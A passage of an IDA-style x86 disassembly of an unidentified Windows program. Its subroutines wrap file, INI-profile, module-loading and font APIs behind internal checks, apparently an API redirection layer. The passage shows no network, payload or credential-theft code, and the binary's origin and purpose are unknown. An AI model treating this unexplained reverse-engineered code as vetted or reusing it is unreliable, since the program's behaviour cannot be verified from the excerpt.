		push	[ebp+arg_0]
		call	sub_414856
		test	eax, eax
		jnz	short loc_41DD70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42467C	; GetFileInformationByHandle
		mov	[ebp+var_4], eax


loc_41DD70:				; CODE XREF: sub_41DD46+19j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_41DD46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD77	proc near		; DATA XREF: _5:00424360o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	sub_41494E
		test	eax, eax
		jnz	short loc_41DDA5
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4246E8	; LockFile
		mov	[ebp+var_4], eax
		jmp	short loc_41DDAC
; ---------------------------------------------------------------------------


loc_41DDA5:				; CODE XREF: sub_41DD77+12j
		mov	[ebp+var_4], 1


loc_41DDAC:				; CODE XREF: sub_41DD77+2Cj
		mov	eax, [ebp+var_4]
		leave
		retn	14h
sub_41DD77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDB3	proc near		; DATA XREF: _5:00424368o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	sub_41494E
		test	eax, eax
		jnz	short loc_41DDDE
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42471C	; UnlockFile
		jmp	short locret_41DDE1
; ---------------------------------------------------------------------------


loc_41DDDE:				; CODE XREF: sub_41DDB3+12j
		push	1
		pop	eax

locret_41DDE1:				; CODE XREF: sub_41DDB3+29j
		leave
		retn	14h
sub_41DDB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDE5	proc near		; DATA XREF: _5:00424238o

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_415B3D
		test	eax, eax
		jnz	short loc_41DE03
		push	[ebp+arg_0]
		call	ds:dword_424674	; GetFileAttributesA
		jmp	short locret_41DE0F
; ---------------------------------------------------------------------------


loc_41DE03:				; CODE XREF: sub_41DDE5+11j
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax

locret_41DE0F:				; CODE XREF: sub_41DDE5+1Cj
		leave
		retn	4
sub_41DDE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE13	proc near		; DATA XREF: _5:00424240o

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041DECC SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A18
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_424738	; WideCharToMultiByte
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 103h
		ja	short loc_41DE94
		lea	edx, [ebp+var_28]
		mov	ecx, [ebp+var_20]
		call	sub_415B3D
		test	eax, eax
		jnz	short loc_41DEA2


loc_41DE94:				; CODE XREF: sub_41DE13+70j
		push	[ebp+arg_0]
		call	ds:dword_424678	; GetFileAttributesW
		mov	[ebp+var_1C], eax
		jmp	short loc_41DEB1
; ---------------------------------------------------------------------------


loc_41DEA2:				; CODE XREF: sub_41DE13+7Fj
		movzx	eax, [ebp+var_28]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax
		mov	[ebp+var_1C], eax


loc_41DEB1:				; CODE XREF: sub_41DE13+8Dj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41DEBC
		jmp	short loc_41DECC
sub_41DE13	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEBC	proc near		; CODE XREF: sub_41DE13+A2p
					; DATA XREF: _4:00421A20o
		mov	eax, [ebp-20h]
		mov	[ebp-30h], eax
		push	dword ptr [ebp-30h]
		call	sub_41BACD
		pop	ecx
		retn
sub_41DEBC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41DE13


loc_41DECC:				; CODE XREF: sub_41DE13+A7j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_41DE13

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEE0	proc near		; DATA XREF: _5:00424260o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_414670
		test	eax, eax
		jnz	short loc_41DF05
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424680	; GetFileSize
		mov	[ebp+var_4], eax
		jmp	short loc_41DF11
; ---------------------------------------------------------------------------


loc_41DF05:				; CODE XREF: sub_41DEE0+12j
		cmp	[ebp+arg_4], 0
		jz	short loc_41DF11
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0


loc_41DF11:				; CODE XREF: sub_41DEE0+23j
					; sub_41DEE0+29j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_41DEE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF18	proc near		; CODE XREF: sub_402240-725p
					; sub_401D20+AFp
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A831
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DF4B
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424694	; GetModuleFileNameA
		mov	[ebp+var_4], eax


loc_41DF4B:				; CODE XREF: sub_41DF18+1Fj
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_41DF18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF52	proc near		; DATA XREF: _5:00424338o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_14]
		call	sub_415867
		test	eax, eax
		jz	short loc_41DFD5
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415B59
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41DFD3
		cmp	[ebp+arg_8], 0
		jz	short loc_41DFD3
		mov	eax, [ebp+arg_10]
		dec	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_410630
		add	esp, 0Ch
		mov	edi, [ebp+arg_8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_41DFC7
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_41DFCD
; ---------------------------------------------------------------------------


loc_41DFC7:				; CODE XREF: sub_41DF52+6Bj
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_C], eax


loc_41DFCD:				; CODE XREF: sub_41DF52+73j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax


loc_41DFD3:				; CODE XREF: sub_41DF52+3Aj
					; sub_41DF52+40j
		jmp	short loc_41DFF0
; ---------------------------------------------------------------------------


loc_41DFD5:				; CODE XREF: sub_41DF52+15j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4246A4	; GetPrivateProfileStringA
		mov	[ebp+var_4], eax


loc_41DFF0:				; CODE XREF: sub_41DF52:loc_41DFD3j
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	18h
sub_41DF52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFF8	proc near		; DATA XREF: _5:00424340o

var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		and	[ebp+var_4], 0
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_C]
		call	sub_415867
		test	eax, eax
		jz	short loc_41E062
		and	[ebp+var_54], 0
		push	13h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_53]
		rep stosd
		stosw
		stosb
		push	0
		push	[ebp+arg_C]
		push	50h
		lea	eax, [ebp+var_54]
		push	eax
		push	offset dword_424898
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415B59
		add	esp, 1Ch
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 0
		jnz	short loc_41E053
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		jmp	short loc_41E060
; ---------------------------------------------------------------------------


loc_41E053:				; CODE XREF: sub_41DFF8+51j
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_410A05
		pop	ecx
		mov	[ebp+var_4], eax


loc_41E060:				; CODE XREF: sub_41DFF8+59j
		jmp	short loc_41E077
; ---------------------------------------------------------------------------


loc_41E062:				; CODE XREF: sub_41DFF8+19j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42469C	; GetPrivateProfileIntA
		mov	[ebp+var_4], eax


loc_41E077:				; CODE XREF: sub_41DFF8:loc_41E060j
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	10h
sub_41DFF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E07F	proc near		; DATA XREF: _5:00424348o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_8]
		call	sub_415867
		test	eax, eax
		jz	short loc_41E0B1
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		call	sub_415B59
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		jmp	short loc_41E0C3
; ---------------------------------------------------------------------------


loc_41E0B1:				; CODE XREF: sub_41E07F+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4246A0	; GetPrivateProfileSectionNamesA
		mov	[ebp+var_4], eax


loc_41E0C3:				; CODE XREF: sub_41E07F+30j
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_41E07F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		xor	edx, edx
		mov	ecx, [ebp+14h]
		call	sub_415867
		test	eax, eax
		jz	short loc_41E0FD
		push	1
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	0
		push	0
		push	dword ptr [ebp+8]
		call	sub_415B59
		add	esp, 1Ch
		mov	[ebp-4], eax
		jmp	short loc_41E112
; ---------------------------------------------------------------------------


loc_41E0FD:				; CODE XREF: _3:0041E0DCj
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421028	; GetPrivateProfileSectionA
		mov	[ebp-4], eax


loc_41E112:				; CODE XREF: _3:0041E0FBj
		mov	eax, [ebp-4]
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E119	proc near		; CODE XREF: sub_41E15D+8p
					; sub_41E170+9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	sub_419424
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41E158
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_419995
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41E158
		call	ds:dword_424690	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41E154
		push	7Eh
		call	ds:dword_42470C	; RtlRestoreLastWin32Error


loc_41E154:				; CODE XREF: sub_41E119+31j
		xor	eax, eax
		jmp	short locret_41E15B
; ---------------------------------------------------------------------------


loc_41E158:				; CODE XREF: sub_41E119+13j
					; sub_41E119+27j
		mov	eax, [ebp+var_4]

locret_41E15B:				; CODE XREF: sub_41E119+3Dj
		leave
		retn
sub_41E119	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E15D	proc near		; CODE XREF: sub_4014A0+14p
					; sub_4184A0+EBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_0]
		call	sub_41E119
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_41E15D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E170	proc near		; CODE XREF: sub_41CBF6+B9p
					; sub_41CE67+B9p ...

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_41E119
		pop	ecx
		pop	ecx
		pop	ebp
		retn	0Ch
sub_41E170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E184	proc near		; CODE XREF: sub_41E22D+8p
					; sub_41E240+9p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A28
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1C], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_1C]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_424738	; WideCharToMultiByte
		push	[ebp+arg_4]
		push	[ebp+var_1C]
		call	sub_41E119
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_28]
		jmp	short loc_41E21E
; ---------------------------------------------------------------------------


loc_41E20C:				; DATA XREF: _4:00421A30o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_41BACD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41E21E:				; CODE XREF: sub_41E184+86j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E184	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E22D	proc near		; DATA XREF: _5:004242A0o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_0]
		call	sub_41E184
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_41E22D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E240	proc near		; DATA XREF: _5:004242B0o

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_41E184
		pop	ecx
		pop	ecx
		pop	ebp
		retn	0Ch
sub_41E240	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E254	proc near		; CODE XREF: sub_402240-72Cp
					; sub_401D20+A8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_41E268
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		jmp	short locret_41E28A
; ---------------------------------------------------------------------------


loc_41E268:				; CODE XREF: sub_41E254+8j
		push	[ebp+arg_0]
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41E287
		xor	dl, dl
		mov	ecx, [ebp+arg_0]
		call	sub_41925C
		mov	[ebp+var_4], eax


loc_41E287:				; CODE XREF: sub_41E254+24j
		mov	eax, [ebp+var_4]

locret_41E28A:				; CODE XREF: sub_41E254+12j
		leave
		retn	4
sub_41E254	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E28E	proc near		; DATA XREF: _5:00424320o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041E32A SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A38
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_41E2C3
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		jmp	short loc_41E32D
; ---------------------------------------------------------------------------


loc_41E2C3:				; CODE XREF: sub_41E28E+29j
		and	[ebp+var_1C], 0
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		xor	eax, eax
		mov	edi, [ebp+var_20]
		stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_424738	; WideCharToMultiByte
		push	[ebp+var_20]
		call	sub_41E254
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41E31A
		jmp	short loc_41E32A
sub_41E28E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E31A	proc near		; CODE XREF: sub_41E28E+85p
					; DATA XREF: _4:00421A40o
		mov	eax, [ebp-20h]
		mov	[ebp-28h], eax
		push	dword ptr [ebp-28h]
		call	sub_41BACD
		pop	ecx
		retn
sub_41E31A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E28E


loc_41E32A:				; CODE XREF: sub_41E28E+8Aj
		mov	eax, [ebp+var_1C]


loc_41E32D:				; CODE XREF: sub_41E28E+33j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_41E28E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E33E	proc near		; CODE XREF: sub_4014A0+29p
					; DATA XREF: _0:off_401024o ...

var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041E446 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A48
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_1C], 0
		mov	eax, [ebp+arg_4]
		shr	eax, 10h
		and	eax, 0FFFFh
		movzx	eax, ax
		test	eax, eax
		jz	short loc_41E396
		push	offset aDllgetclassobj ; "DllGetClassObject"
		push	[ebp+arg_4]
		call	ds:dword_424740	; lstrcmpi
		test	eax, eax
		jnz	short loc_41E396
		mov	ecx, [ebp+arg_0]
		call	sub_419393


loc_41E396:				; CODE XREF: sub_41E33E+3Cj
					; sub_41E33E+4Ej
		and	[ebp+var_4], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4246A8	; GetProcAddress
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E3C6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		and	[ebp+var_30], 0
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_30]
		jmp	loc_41E449
; ---------------------------------------------------------------------------


loc_41E3C6:				; CODE XREF: sub_41E33E+6Fj
		cmp	[ebp+var_1C], 0
		jz	short loc_41E446
		mov	eax, ds:dword_429034
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_41E3ED
		mov	eax, [ebp+var_24]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_28], 1
		jmp	short loc_41E3F1
; ---------------------------------------------------------------------------


loc_41E3ED:				; CODE XREF: sub_41E33E+9Aj
		and	[ebp+var_28], 0


loc_41E3F1:				; CODE XREF: sub_41E33E+ADj
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	short loc_41E446
		mov	[ebp+var_4], 1
		push	[ebp+var_1C]
		mov	ecx, ds:dword_429034
		call	sub_41EB4C
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_41E41F
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax


loc_41E41F:				; CODE XREF: sub_41E33E+D7j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41E42A
		jmp	short loc_41E446
sub_41E33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42A	proc near		; CODE XREF: sub_41E33E+E5p
					; DATA XREF: _4:00421A5Co
		mov	eax, ds:dword_429034
		mov	[ebp-2Ch], eax
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_41E445
		mov	eax, [ebp-2Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_41E445:				; CODE XREF: sub_41E42A+Cj
		retn
sub_41E42A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E33E


loc_41E446:				; CODE XREF: sub_41E33E+8Cj
					; sub_41E33E+B9j ...
		mov	eax, [ebp+var_1C]


loc_41E449:				; CODE XREF: sub_41E33E+83j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_41E33E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E45A	proc near		; DATA XREF: _5:00424290o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A60
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	ds:dword_424660	; FreeLibrary
		mov	[ebp+var_20], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_20]
		jmp	short loc_41E4B4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 1
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]


loc_41E4B4:				; CODE XREF: sub_41E45A+43j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41E45A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E4C5	proc near		; DATA XREF: _5:off_424388o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_14]
		and	eax, 10h
		test	eax, eax
		jz	short loc_41E4F1
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E4F1
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		call	sub_413056
		test	eax, eax
		jnz	short loc_41E4F1
		and	[ebp+var_4], 0


loc_41E4F1:				; CODE XREF: sub_41E4C5+10j
					; sub_41E4C5+16j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E512
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42474C	; LoadImageA
		mov	[ebp+var_4], eax


loc_41E512:				; CODE XREF: sub_41E4C5+30j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_41E4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E519	proc near		; DATA XREF: _5:off_424378o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset dword_4215BC
		push	offset aAddfontresou_0 ; "AddFontResourceA"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41396C
		test	eax, eax
		jnz	short loc_41E54B
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax


loc_41E54B:				; CODE XREF: sub_41E519+27j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_41E519	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E552	proc near		; DATA XREF: _5:00424380o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset dword_4215BC
		push	offset aRemovefontre_0 ; "RemoveFontResourceA"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_413D44
		test	eax, eax
		jnz	short loc_41E584
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax


loc_41E584:				; CODE XREF: sub_41E552+27j
		mov	eax, [ebp+var_4]
		leave
